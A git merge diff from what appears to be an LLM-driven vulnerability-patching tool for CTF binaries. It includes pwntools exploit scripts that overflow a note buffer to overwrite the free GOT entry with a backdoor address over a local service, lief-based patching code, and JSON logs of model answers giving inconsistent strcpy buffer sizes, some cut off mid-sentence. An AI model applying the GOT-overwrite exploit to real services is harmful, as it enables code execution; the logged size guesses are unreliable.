Merge branch 'master' of https://git.xmcve.com/danger/program

input/edit.py

@@ -2,7 +2,7 @@
 # -*- coding:utf-8 -*-
 
 from pwn import *
-context.clear(arch='amd64', os='linux', log_level='info')
+context.clear(arch='amd64', os='linux', log_level='debug')
 
 elf = ELF('./edit')
 
@@ -11,23 +11,35 @@ sh = listen(12012)
 tcpClient = remote('127.0.0.1', 11012)
 tcpClient.sendline(b'ADD aaaa')
 tcpClient.close()
+print("successfully add")
 
 tcpClient = remote('127.0.0.1', 11012)
 tcpClient.sendline(b'EDIT aaaa ' + b'a' * 256 + p64(elf.got['free']))
 tcpClient.close()
+print(hex(elf.got['free']))
+print("successfully edit")
 
 tcpClient = remote('127.0.0.1', 11012)
 tcpClient.sendline(b'SHOW')
-tcpClient.recvline()
+content = tcpClient.recvuntil('a'*0x100)
+print(b"content ==> " + content)
 index_str = tcpClient.recvline()[:-1]
+second_str = tcpClient.recvline()[:-1]
 tcpClient.close()
+# print("index_str == " + hex(int(index_str,16)))
+print(b"index_str == " + index_str)
+print(b"second_str == " + second_str)
+
+print("successfully show")
 
 tcpClient = remote('127.0.0.1', 11012)
-tcpClient.sendline(b'EDIT ' + index_str + b' ' + p64(elf.sym['backdoor']))
+tcpClient.sendline(b'EDIT ' + second_str + b' ' + p64(elf.sym['backdoor']))
 tcpClient.close()
+print("successfully edit")
 
 tcpClient = remote('127.0.0.1', 11012)
 tcpClient.sendline(b'DEL ' + p64(elf.sym['backdoor'])[:3])
 tcpClient.close()
+print(hex(elf.sym['backdoor']))
 
 sh.interactive()

input/edit2.py

@@ -0,0 +1,34 @@
+#!/usr/bin/env python3
+# -*- coding:utf-8 -*-
+
+from pwn import *
+context.clear(arch='amd64', os='linux', log_level='info')
+
+elf = ELF('./edit')
+
+sh = listen(12012)
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'ADD aaaa')
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'EDIT aaaa ' + b'a' * 256 + p64(elf.got['free']))
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'SHOW')
+tcpClient.recvline()
+index_str = tcpClient.recvline()[:-1]
+print(index_str)
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'EDIT ' + index_str + b' ' + p64(elf.sym['backdoor']))
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'DEL ' + p64(elf.sym['backdoor'])[:3])
+tcpClient.close()
+
+sh.interactive()

output/edit_patch/exp.py

@@ -2,7 +2,7 @@
 # -*- coding:utf-8 -*-
 
 from pwn import *
-context.clear(arch='amd64', os='linux', log_level='info')
+context.clear(arch='amd64', os='linux', log_level='debug')
 
 elf = ELF('./edit')
 
@@ -11,23 +11,35 @@ sh = listen(12012)
 tcpClient = remote('127.0.0.1', 11012)
 tcpClient.sendline(b'ADD aaaa')
 tcpClient.close()
+print("successfully add")
 
 tcpClient = remote('127.0.0.1', 11012)
 tcpClient.sendline(b'EDIT aaaa ' + b'a' * 256 + p64(elf.got['free']))
 tcpClient.close()
+print(hex(elf.got['free']))
+print("successfully edit")
 
 tcpClient = remote('127.0.0.1', 11012)
 tcpClient.sendline(b'SHOW')
-tcpClient.recvline()
+content = tcpClient.recvuntil('a'*0x100)
+print(b"content ==> " + content)
 index_str = tcpClient.recvline()[:-1]
+second_str = tcpClient.recvline()[:-1]
 tcpClient.close()
+# print("index_str == " + hex(int(index_str,16)))
+print(b"index_str == " + index_str)
+print(b"second_str == " + second_str)
+
+print("successfully show")
 
 tcpClient = remote('127.0.0.1', 11012)
-tcpClient.sendline(b'EDIT ' + index_str + b' ' + p64(elf.sym['backdoor']))
+tcpClient.sendline(b'EDIT ' + second_str + b' ' + p64(elf.sym['backdoor']))
 tcpClient.close()
+print("successfully edit")
 
 tcpClient = remote('127.0.0.1', 11012)
 tcpClient.sendline(b'DEL ' + p64(elf.sym['backdoor'])[:3])
 tcpClient.close()
+print(hex(elf.sym['backdoor']))
 
 sh.interactive()

src/agent.py

@@ -134,7 +134,7 @@ def handle_recv(file_name: str, code: str, elf_file: str, patch_recv_file: str =
     os.makedirs(output_dir, exist_ok=True)
     
     output_file = output_dir + '/' + patch_recv_file
-    print("The recv info store into the " + output_file)
+    print("The file info store into the " + output_file)
 
     # get prompt from prompt.json
     prompt = get_prompt('recv', 'attack')
@@ -218,7 +218,7 @@ def handle_strcpy(file_name: str, code: str, elf_file: str, struct_data: str, pa
     os.makedirs(output_dir, exist_ok=True)
     
     output_file = output_dir + '/' + patch_strcpy_file
-    print("The recv info store into the " + output_file)
+    print("The file info store into the " + output_file)
 
     # get prompt from prompt.json
     prompt = get_prompt('strcpy', 'attack')

src/binary_patch.py

@@ -88,14 +88,12 @@ def patch_strcpy(lief_binary, nbytes, save_path, output=True):
   new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
   new_segment_address = new_segment.virtual_address
   #lief_binary.patch_pltgot("strcpy", new_segment.virtual_address)
+  os.system("rm " + save_path)
   lief_binary.write(save_path)
   os.system("chmod +x " + save_path)
   
   elf_patch = ELF(save_path)
-  print("save_path --> " + save_path)
-  print("elf_patch.plt.strcpy --> " + hex(elf_patch.plt.strcpy))
-  patch_by_pltsec_jmp(elf_patch, 'strcpy', elf_patch.plt.strcpy, new_segment_address, len(patch_code), save_path)
-
+  patch_by_pltsec_jmp(elf_patch, 'strcpy', elf_patch.plt['strcpy'], new_segment_address, len(patch_code), save_path)
 
 # to do
 def patch_dprintf(lief_binary, save_path, output=True):
@@ -115,40 +113,42 @@ def patch_dprintf(lief_binary, save_path, output=True):
   new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
   new_segment_address = new_segment.virtual_address
   #lief_binary.patch_pltgot("dprintf", new_segment.virtual_address)
+  
+  os.system("rm " + save_path)
   lief_binary.write(save_path)
   os.system("chmod +x " + save_path)
   
   elf_patch = ELF(save_path)
-  patch_by_pltsec_jmp(elf_patch, 'dprintf', elf_patch.plt.dprintf, new_segment_address, len(patch_code), save_path)
+  patch_by_pltsec_jmp(elf_patch, 'dprintf', elf_patch.plt['dprintf'], new_segment_address, len(patch_code), save_path)
 
 
 def patch_recv(lief_binary, nbytes, save_path, output=True):
   patch_recv_code = f"""
-  mov rdx, {nbytes}
-  mov r10, rcx;
-  xor r8, r8;
-  xor r9, r9;
-  push 45;
-  pop rax;
-  syscall;
-  ret;
+  mov rdx, {nbytes};
   """
   patch_code = asm(patch_recv_code)
   if output:
     print("the assmebly code :\n %s" % patch_recv_code)
     print("the machine code :\n %s" % patch_code)
   new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
-  lief_binary.patch_pltgot("recv", new_segment.virtual_address)
+  new_segment_address = new_segment.virtual_address
+  
+  os.system("rm " + save_path)
   lief_binary.write(save_path)
   os.system("chmod +x " + save_path)
+  
+  elf_patch = ELF(save_path)
+  patch_by_pltsec_jmp(elf_patch, 'recv', elf_patch.plt['recv'], new_segment_address, len(patch_code), save_path)
 
-# if __name__ == '__main__':
-#   argv = sys.argv
-#   argc = len(sys.argv)
-#   path = sys.argv[1]
-#   save_path = path + "_patch" 
-#   lief_binary, pwn_binary = load_binary_file_information(path)
-#   if sys.argv[2] == 'dprintf':
-#     patch_dprintf(save_path)
-#   elif sys.argv[2] == 'strcpy':
-#     patch_strcpy(int(sys.argv[3]), save_path)
+if __name__ == '__main__':
+  argv = sys.argv
+  argc = len(sys.argv)
+  path = sys.argv[1]
+  save_path = path + "_patch" 
+  lief_binary, pwn_binary = load_binary_file_information(path)
+  if sys.argv[2] == 'dprintf':
+    patch_dprintf(lief_binary, save_path)
+  elif sys.argv[2] == 'strcpy':
+    patch_strcpy(lief_binary, int(sys.argv[3]), save_path)
+  elif sys.argv[2] == 'recv':
+    patch_recv(lief_binary, int(sys.argv[3]), save_path)

src/binary_patch.py.old

@@ -0,0 +1,154 @@
+#!/usr/bin/python3
+import lief
+from pwn import *
+import os
+import sys
+
+global lief_ELF_ALLOC 
+lief_ELF_ALLOC = 2
+global lief_ELF_EXCLUDE 
+lief_ELF_EXECINSTR = 4
+
+def get_binary_file_CLASS(binary, output_info=True):
+  CLASS = CLASS = binary.header.identity_class
+  str_CLASS = ""
+  if CLASS == binary.header.CLASS.ELF32:
+    str_CLASS = "ELF32"
+  elif CLASS == binary.header.CLASS.ELF64:
+    str_CLASS = "ELF64"
+  else:
+    str_CLASS = "UNKNOWN"
+  if output_info:
+    print("[\033[1;34m*\033[0m] CLASS is %s" % (str_CLASS))
+  return (CLASS, str_CLASS)
+
+def get_binary_file_machine_type(binary, output_info=True):
+  machine_type = binary.header.machine_type
+  str_machine_type = ""
+  arch = ""
+  if machine_type == lief._lief.ELF.ARCH.X86_64:
+    str_machine_type = "x86_64"
+    arch = "amd64"
+  else:
+    str_machine_type = "UNKNOWN"
+    arch = "UNKNOWN"
+  
+  print('[\033[1;34m*\033[0m] machine type is %s ==> ARCH : %s' % (str_machine_type, arch))
+  return (str_machine_type, arch)
+
+def load_binary_file_information(path):
+  lief_binary = lief.parse(path)
+  CLASS, str_CLASS = get_binary_file_CLASS(lief_binary)
+  str_machine_type, arch = get_binary_file_machine_type(lief_binary)
+  
+  pwn_binary = ''
+  context.arch = arch
+  if "ELF" in str_CLASS:
+    context.os = "linux"
+    pwn_binary = ELF(path)
+  
+  return (lief_binary, pwn_binary)
+
+# flag : lief.ELF.SEGMENT_FLAGS.PF_R | lief.ELF.SEGMENT_FLAGS.PF_W | lief.ELF.SEGMENT_FLAGS.PF_X
+def add_segment(lief_binary, content, types, flags, base=0x405000):
+  segment              = lief.ELF.Segment()
+  segment.type         = types
+  segment.FLAGS.from_value(flags)
+  segment.content      = list(content)
+  segment.alignment    = 8
+  segment.add(lief._lief.ELF.Segment.FLAGS.R | lief._lief.ELF.Segment.FLAGS.X)
+  segment              = lief_binary.add(segment, base=base)
+  print(segment.FLAGS.value)
+  return segment
+
+
+def patch_by_pltsec_jmp(elf_file, symbol, start_address_of_pltsec_jmp, target_function_address, target_function_len, save_path):
+  # caculate the offset
+  jmp_offset = target_function_address - (start_address_of_pltsec_jmp + 5)
+  shellcode = b'\xe9' + p32(jmp_offset & 0xffffffff)
+  elf_file.write(start_address_of_pltsec_jmp, shellcode)
+  
+  jmp_offset = elf_file.got[symbol] - (target_function_address + target_function_len + 7)
+  shellcode = b'\xf2\xff\x25' + p32(jmp_offset & 0xffffffff)
+  elf_file.write(target_function_address + target_function_len, shellcode)
+  elf_file.save(save_path)
+
+
+def patch_strcpy(lief_binary, nbytes, save_path, output=True):
+  print("[\033[1;34m*\033[0m] get the length of buffer is 0x%x(%d)" % (nbytes, nbytes))
+  patch_strcpy_code = f"""
+    mov rdx, {nbytes - 1};
+    mov byte ptr [rdx + rsi], 0;
+  """
+  patch_code = asm(patch_strcpy_code)
+  if output:
+    print("the assmebly code :\n %s" % patch_strcpy_code)
+    print("the machine code :\n %s" % patch_code)
+  
+  new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
+  new_segment_address = new_segment.virtual_address
+  #lief_binary.patch_pltgot("strcpy", new_segment.virtual_address)
+  lief_binary.write(save_path)
+  os.system("chmod +x " + save_path)
+  
+  elf_patch = ELF(save_path)
+  print("save_path --> " + save_path)
+  print("elf_patch.plt.strcpy --> " + hex(elf_patch.plt.strcpy))
+  patch_by_pltsec_jmp(elf_patch, 'strcpy', elf_patch.plt.strcpy, new_segment_address, len(patch_code), save_path)
+
+
+# to do
+def patch_dprintf(lief_binary, save_path, output=True):
+  patch_dprintf_code = f"""
+  push rsi;
+  pop rdx;
+  mov rax, [rsp];
+  push 0x7325;
+  push rsp
+  pop rsi;
+  push rax;
+  """
+  patch_code = asm(patch_dprintf_code)
+  if output:
+    print("the assmebly code :\n %s" % patch_dprintf_code)
+    print("the machine code :\n %s" % patch_code)
+  new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
+  new_segment_address = new_segment.virtual_address
+  #lief_binary.patch_pltgot("dprintf", new_segment.virtual_address)
+  lief_binary.write(save_path)
+  os.system("chmod +x " + save_path)
+  
+  elf_patch = ELF(save_path)
+  patch_by_pltsec_jmp(elf_patch, 'dprintf', elf_patch.plt.dprintf, new_segment_address, len(patch_code), save_path)
+
+
+def patch_recv(lief_binary, nbytes, save_path, output=True):
+  patch_recv_code = f"""
+  mov rdx, {nbytes}
+  mov r10, rcx;
+  xor r8, r8;
+  xor r9, r9;
+  push 45;
+  pop rax;
+  syscall;
+  ret;
+  """
+  patch_code = asm(patch_recv_code)
+  if output:
+    print("the assmebly code :\n %s" % patch_recv_code)
+    print("the machine code :\n %s" % patch_code)
+  new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
+  lief_binary.patch_pltgot("recv", new_segment.virtual_address)
+  lief_binary.write(save_path)
+  os.system("chmod +x " + save_path)
+
+# if __name__ == '__main__':
+#   argv = sys.argv
+#   argc = len(sys.argv)
+#   path = sys.argv[1]
+#   save_path = path + "_patch" 
+#   lief_binary, pwn_binary = load_binary_file_information(path)
+#   if sys.argv[2] == 'dprintf':
+#     patch_dprintf(save_path)
+#   elif sys.argv[2] == 'strcpy':
+#     patch_strcpy(int(sys.argv[3]), save_path)

src/output/dprintf_extract/patch_dprintf.json

@@ -39,6 +39,38 @@
         "file_path": "dprintf_extract.c",
         "vul_info": []
     },
+    {
+        "file_path": "dprintf_extract.c",
+        "vul_info": []
+    },
+    {
+        "file_path": "dprintf_extract.c",
+        "vul_info": []
+    },
+    {
+        "file_path": "dprintf_extract.c",
+        "vul_info": []
+    },
+    {
+        "file_path": "dprintf_extract.c",
+        "vul_info": []
+    },
+    {
+        "file_path": "dprintf_extract.c",
+        "vul_info": []
+    },
+    {
+        "file_path": "dprintf_extract.c",
+        "vul_info": []
+    },
+    {
+        "file_path": "dprintf_extract.c",
+        "vul_info": []
+    },
+    {
+        "file_path": "dprintf_extract.c",
+        "vul_info": []
+    },
     {
         "file_path": "dprintf_extract.c",
         "vul_info": []

src/output/edit_extract/patch_strcpy.json

@@ -1166,5 +1166,343 @@
         "vul_info": [],
         "fix_size": 1024,
         "patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. "
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. "
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet. We can infer the size from the context in which the `add` function is used."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. Unfortunately, the size of `newNode->data` is not explicitly provided in the code snippet. However, we can infer the size from the context of the program."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the code snippet you provided does not explicitly define the `Node` structure, so we don't know the exact size of `newNode->data`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. We can infer the size from the context of the program."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. "
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination is `newNode->data`. However, the size of `newNode->data` is not explicitly defined in the provided code. "
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. "
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly defined in the provided code. We need to infer it from the context or assume a reasonable size based on the usage."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "we need to consider the size of the destination buffer. In the provided code, the `Node` structure is not explicitly defined, but we can infer from the `malloc` call in the `add` function that each `Node` is allocated `0x108` bytes (264 bytes in decimal)."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the `strcpy` function is used to copy `str` into `newNode->data`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, `strcpy(newNode->data, str);` is used to copy the string `str` into `newNode->data`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly given in the code snippet you provided. "
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet. "
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. "
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`. However, the size of `newNode->data` is not explicitly defined in the provided code. "
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. "
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`. However, the size of `newNode->data` is not explicitly defined in the provided code. We need to infer it from the context or assume a reasonable size based on typical usage."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "we need to consider the size of the destination buffer where the string will be copied. In the provided code, the `add` function allocates memory for a `Node` structure with `malloc(0x108uLL)`. Assuming that `Node` is a structure with a `data` field that is a character array, we need to know the size of this `data` field to set the correct size for `strncpy`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the provided code, the `add` function uses `strcpy` to copy `str` into `newNode->data`. However, the size of `newNode->data` is not explicitly given in the code snippet."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`. However, the size of `newNode->data` is not explicitly defined in the provided code snippet."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you posted. "
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly defined in the provided code. We need to make an assumption based on the context."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "we need to understand the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1032,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the code snippet provided does not explicitly define the `Node` structure, so we need to make an assumption based on the context."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly given in the code snippet provided. We need to infer it from the context or assume a reasonable size based on typical usage."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`. However, the size of `newNode->data` is not explicitly given in the code snippet you provided. "
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. Unfortunately, the size of `newNode->data` is not explicitly provided in the code snippet you shared. However, we can infer the size from the `show` function, where `snprintf` is used with a buffer size of `0x400` (1024 in decimal) to format `current->data`. This suggests that `newNode->data` is likely intended to hold strings up to 1024 characters long."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1035,
+        "patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. We need to infer or assume the size based on the context or additional information."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 255,
+        "patch_info": "you need to determine the maximum size of the destination buffer. In the `add` function, the destination buffer is `newNode->data`. However, the size of `newNode->data` is not explicitly defined in the provided code. "
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "you need to determine the maximum size of the destination buffer. In the `add` function, `newNode->data` is the destination buffer. However, the size of `newNode->data` is not explicitly defined in the provided code. "
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 264,
+        "patch_info": "you need to determine the size of the destination buffer. In the provided code, the `newNode` is allocated with `malloc(0x108uLL)`, which is 264 bytes. Assuming that the `data` field of the `Node` structure occupies the entire allocated space (which is a common assumption if the structure is not explicitly defined), you should use this size for `strncpy`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "you need to determine the size of the destination buffer. In the `add` function, the destination buffer is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you posted."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "str);` statement within the `add` function, we need to examine the allocation size for `newNode` and the structure of the `Node` type."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "str);` line within the `add` function, we need to examine the `Node` structure. However, the provided code does not explicitly define the `Node` structure, so we have to infer its size based on the context."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [
+            "Yes, there is a potential `strcpy` vulnerability in the code. The `strcpy` function is used in the `add` and `edit` functions without any bounds checking, which can lead to buffer overflow vulnerabilities.\n\n1. **In the `add` function:**\n   - `strcpy(newNode->data, str);` copies the content of `str` into `newNode->data` without checking the length of `str`. If `str` is larger than the allocated space for `newNode->data`, it will overflow, potentially overwriting adjacent memory.\n\n2. **In the `edit` function:**\n   - `strcpy(current->data, newStr);` copies `newStr` into `current->data` without checking the length of `newStr`. If `newStr` is larger than the space available in `current->data`, it will cause a buffer overflow.\n\nTo mitigate these vulnerabilities, you should use safer alternatives like `strncpy` or ensure that the input strings are properly validated and do not exceed the allocated buffer sizes."
+        ],
+        "fix_size": 1035,
+        "patch_info": "str);` line within the `add` function, we need to examine the context in which `newNode` is allocated and how `data` is used."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [
+            "Yes, there is a potential `strcpy` vulnerability in the code. The `strcpy` function is used in the `add` and `edit` functions without any bounds checking, which can lead to buffer overflow vulnerabilities.\n\n1. **In the `add` function:**\n   - `strcpy(newNode->data, str);` copies the content of `str` into `newNode->data` without checking the length of `str`. If `str` is larger than the allocated space for `newNode->data`, it will overflow, potentially overwriting adjacent memory.\n\n2. **In the `edit` function:**\n   - `strcpy(current->data, newStr);` copies `newStr` into `current->data` without checking the length of `newStr`. If `newStr` is larger than the space available in `current->data`, it will cause a buffer overflow.\n\nTo mitigate these vulnerabilities, you should use safer alternatives like `strncpy` or ensure that the input strings are properly validated and do not exceed the allocated buffer sizes."
+        ],
+        "fix_size": 256,
+        "patch_info": "str);` line within the `add` function, we need to understand the structure of the `Node` and how memory is allocated for it. However, the provided code does not explicitly define the `Node` structure, so we must infer it based on the context."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [
+            "Yes, there is a potential `strcpy` vulnerability in the code. The `strcpy` function is used in the `add` and `edit` functions without any bounds checking, which can lead to buffer overflow vulnerabilities.\n\n1. **In the `add` function:**\n   - `strcpy(newNode->data, str);` copies the content of `str` into `newNode->data` without checking the length of `str`. If `str` is larger than the allocated space for `newNode->data`, it will overflow, potentially overwriting adjacent memory.\n\n2. **In the `edit` function:**\n   - `strcpy(current->data, newStr);` copies `newStr` into `current->data` without checking the length of `newStr`. If `newStr` is larger than the space available in `current->data`, it will cause a buffer overflow.\n\nTo mitigate these vulnerabilities, you should use safer alternatives like `strncpy` or ensure that the input strings are properly validated and do not exceed the allocated buffer sizes."
+        ],
+        "fix_size": 256,
+        "patch_info": "str);` line within the `add` function, we need to consider the memory allocation for `newNode` and the structure of the `Node`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [
+            "Yes, there is a potential `strcpy` vulnerability in the code. The `strcpy` function is used in the `add` and `edit` functions without any bounds checking, which can lead to buffer overflow vulnerabilities.\n\n1. **In the `add` function:**\n   - `strcpy(newNode->data, str);` copies the content of `str` into `newNode->data` without checking the length of `str`. If `str` is larger than the allocated space for `newNode->data`, it will overflow, potentially overwriting adjacent memory.\n\n2. **In the `edit` function:**\n   - `strcpy(current->data, newStr);` copies `newStr` into `current->data` without checking the length of `newStr`. If `newStr` is larger than the space available in `current->data`, it will cause a buffer overflow.\n\nTo mitigate these vulnerabilities, you should use safer alternatives like `strncpy` or ensure that the input strings are properly validated and do not exceed the allocated buffer sizes."
+        ],
+        "fix_size": 256,
+        "patch_info": "str);` line within the `add` function, we need to examine the memory allocation for `newNode`. The `malloc` call allocates `0x108` bytes for `newNode`. However, the structure of `Node` is not explicitly defined in the provided code, so we must infer the size of `newNode->data` based on the context."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [
+            "Yes, there is a potential `strcpy` vulnerability in the code. The `strcpy` function is used in the `add` and `edit` functions without any bounds checking, which can lead to buffer overflow vulnerabilities.\n\n1. **In the `add` function:**\n   - `strcpy(newNode->data, str);` copies the content of `str` into `newNode->data` without checking the length of `str`. If `str` is larger than the allocated space for `newNode->data`, it will overflow, potentially overwriting adjacent memory.\n\n2. **In the `edit` function:**\n   - `strcpy(current->data, newStr);` copies `newStr` into `current->data` without checking the length of `newStr`. If `newStr` is larger than the space available in `current->data`, it will cause a buffer overflow.\n\nTo mitigate these vulnerabilities, you should use safer alternatives like `strncpy` or ensure that the input strings are properly validated and do not exceed the allocated buffer sizes."
+        ],
+        "fix_size": 256,
+        "patch_info": "str);` within the `add` function, we need to understand the structure of the `Node` and how memory is allocated for it."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [
